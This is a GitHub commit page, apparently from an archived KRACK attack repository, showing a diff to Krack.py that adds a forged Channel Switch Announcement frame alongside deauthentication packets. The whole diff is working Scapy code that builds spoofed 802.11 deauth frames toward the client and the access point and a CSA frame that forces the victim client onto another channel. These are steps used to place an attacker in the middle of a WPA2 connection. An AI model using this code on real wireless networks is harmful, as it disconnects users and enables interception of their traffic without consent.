Skip to content
This repository has been archived by the owner on May 4, 2022. It is now read-only.

Commit

Permalink
Add CSA
Browse files Browse the repository at this point in the history
  • Loading branch information
Hackndo committed Nov 7, 2017
1 parent c471b7d commit f962b19
Showing 1 changed file with 30 additions and 3 deletions.
33 changes: 30 additions & 3 deletions Krack.py
Original file line number Diff line number Diff line change
Expand Up @@ -209,12 +209,39 @@ def deauth(self, e):

pkts = []

deauth_pkt1 = RadioTap() / Dot11(addr1=self.client_mac, addr2=self.ap_mac, addr3=self.ap_mac) / Dot11Deauth()
deauth_pkt1 = RadioTap()/Dot11(
addr1=self.client_mac,
addr2=self.ap_mac,
addr3=self.ap_mac) / Dot11Deauth()
deauth_pkt2 = RadioTap()/Dot11(
addr1=self.ap_mac,
addr2=self.client_mac,
addr3=self.client_mac) / Dot11Deauth()

'''
Channel Switch Announcement
+ Dot11
\x0d Action
+ Raw
\x00 Management
\x04 CSA
\x25 Element ID [37]
\x03 Length
\x00 Channel Switch Mode
\x04 New Channel Num
\x00 Channel Switch Count
'''
csa_pkt = RadioTap()/Dot11(
addr1=self.client_mac,
addr2=self.ap_mac,
addr3=self.ap_mac,
type=0,
subtype=0x0d)/Raw("\x00\x04\x25\x03\x00\x04\x00")

deauth_pkt2 = RadioTap() / Dot11(addr1=self.ap_mac, addr2=self.client_mac,
addr3=self.client_mac) / Dot11Deauth()
pkts.append(deauth_pkt1)
pkts.append(deauth_pkt2)
pkts.append(csa_pkt)

deauth_pkt1[RadioTap].notdecoded = deauth_pkt1[RadioTap].notdecoded[:10] + channels[self.ap_channel] + deauth_pkt1[RadioTap].notdecoded[12:]
deauth_pkt1[RadioTap].notdecoded = deauth_pkt1[RadioTap].notdecoded[:10] + channels[self.ap_channel] + deauth_pkt1[RadioTap].notdecoded[12:]
Expand Down

0 comments on commit f962b19

Please sign in to comment.